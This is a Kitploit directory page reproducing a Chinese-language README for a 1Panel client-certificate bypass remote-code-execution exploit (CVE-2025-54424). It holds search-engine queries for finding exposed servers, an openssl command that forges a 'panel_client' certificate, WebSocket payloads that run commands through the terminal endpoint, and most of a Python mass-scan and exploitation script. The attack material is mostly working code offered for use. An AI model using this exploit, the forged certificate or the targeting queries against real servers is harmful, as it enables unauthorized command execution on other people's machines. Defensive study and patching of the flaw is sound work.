Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-54424 — CVE-2025-54424:1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用) | Kitploit
Tools/GitHubGitHub/mr-xn/cve-2025-54424
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access ToolArchived
GitHubmr-xn/cve-2025-54424

CVE-2025-54424

CVE-2025-54424:1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)

View Repository
591161 year agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Content not available in the requested language. Showing English version.

CVE-2025-54424

CVE-2025-54424:1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)

漏洞简介

1Panel 是一个开源、现代化的 Linux 运维管理面板,提供图形化界面用于部署网站、管理服务器和运行服务。

受影响版本中,Agent 端 TLS 认证策略为 tls.RequireAnyClientCert,仅要求提供证书但不验证其可信性。攻击者可通过自签名证书绕过 TLS 校验,并伪造CN字段为panel_client,绕过应用层校验。最终攻击者可伪造证书进行未授权命令执行接口调用,导致远程命令执行漏洞。

影响版本

<= v2.0.5

测绘语法

hunter和fofa测绘语句如下

cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

漏洞分析

copy GitHub漏洞通告部分

  • 首先引入1panel v2 Core端与Agent端的概念,新版本发布后,1panel增加了节点管理的功能,可以通过添加节点来控制其他的主机。
  • 而Core端与Agent端通讯所使用的https协议,在证书校验中未完全校验证书的真实性导致接口未授权。1panel中由于存在大量命令执行或高权限的接口,导致RCE。

代码审计过程

  1. 首先我们进入到Agent HTTP路由文件agent/init/router/router.go

  1. 发现Routers函数中引用Certificate函数进行了全局校验agent/middleware/certificate.go

  2. 发现Certificate函数判断了c.Request.TLS.HandshakeComplete是否进行了证书通讯

  3. 由于c.Request.TLS.HandshakeComplete的真假判断是通过agent/server/server.go代码Start函数中的tls.RequireAnyClientCert来判断的 注:此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCert,RequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手。

  4. 后续进入Certificate函数中的其他判断,只验证了证书CN字段为panel_client,未验证证书签发者。最后发现WebSocket连接可以绕过Proxy-ID验证。

  5. 项目中存在大量的websocket接口。

  • Process WebSocket 接口(根据上述问题可获取所有的进程等敏感信息) 路由地址: /process/ws 请求格式如下
{
  "type": "ps",           // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
  "pid": 123,             // 可选,指定进程ID进行筛选
  "name": "process_name", // 可选,根据进程名筛选
  "username": "user"      // 可选,根据用户名筛选
}

  • Terminal SSH WebSocket 接口(根据上述问题可执行任意命令) 路由地址: /hosts/terminal 请求格式如下
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" 的base64编码,记住不要忘记回车。
}

  • Container Terminal WebSocket 接口(容器执行命令接口) 路由地址: /containers/terminal
  • File Download Process WebSocket 接口(自动推送下载进度信息) 路由地址: /files/wget/process

漏洞复现

手动复现

1、生成证书

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

2、burp 加载生成的panel_client.crt和panel_client.key后,打开ws请求,设置目标开始请求

批量检测

使用我开发的工具 CVE-2025-54424.py 脚本进行批量检测与利用,工具使用说明如下

安装需要的依赖 pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

比如单个检测+命令执行(SSH交互式命令执行)如下图所示

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---

def generate_self_signed_cert():
    """动态生成CN为'panel_client'的证书和私钥,并返回临时文件路径。"""
    with print_lock:
        print("[*] 正在动态生成伪造的客户端证书...")
    try:
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"panel_client")])
        cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
            private_key.public_key()
        ).serial_number(x509.random_serial_number()).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        )
        cert = cert_builder.sign(private_key, hashes.SHA256())
        
        key_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".key")
        key_file.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption(),
        ))
        key_file.close()
        
        cert_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".crt")
        cert_file.write(cert.public_bytes(serialization.Encoding.PEM))
        cert_file.close()
        
        with print_lock:
            print(f"[+] 证书已生成: {cert_file.name}, {key_file.name}")
        return cert_file.name, key_file.name
    except Exception as e:
        with print_lock:
            print(f"[ERROR] 生成证书时发生错误: {e}")
        return None, None

def check_target(target_host, cert_path, key_path, proxy_dict, proxy_opts):
    """对单个目标执行完整的两步检测流程。返回 (target_host, bool, str)"""
    # 步骤一:HTTP 预检
    check_url = f"https://{target_host}/api/v2/dashboard/base/os"
    headers = {
        'User-Agent': '1panel_client',
        'Origin':f"https://{target_host}/",
        'Content-Type': 'application/ison'
    }
    try:
        response = requests.get(
            check_url, cert=(cert_path, key_path), proxies=proxy_dict, verify=False, timeout=10, headers=headers
        )
        if response.status_code != 200:
            return target_host, False, f"预检失败 (HTTP {response.status_code})"
        with print_lock:
            print(f"[*] {target_host:<21} - HTTP 预检成功 (200 OK)")
    except requests.exceptions.RequestException as e:
        return target_host, False, f"预检请求失败 ({type(e).__name__})"

    # 步骤二:WebSocket 连接尝试
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return target_host, True, "存在漏洞 (HTTP预检和WSS连接均成功)"
    except Exception as e:
        return target_host, False, f"WSS连接失败 ({type(e).__name__})"
Download Tool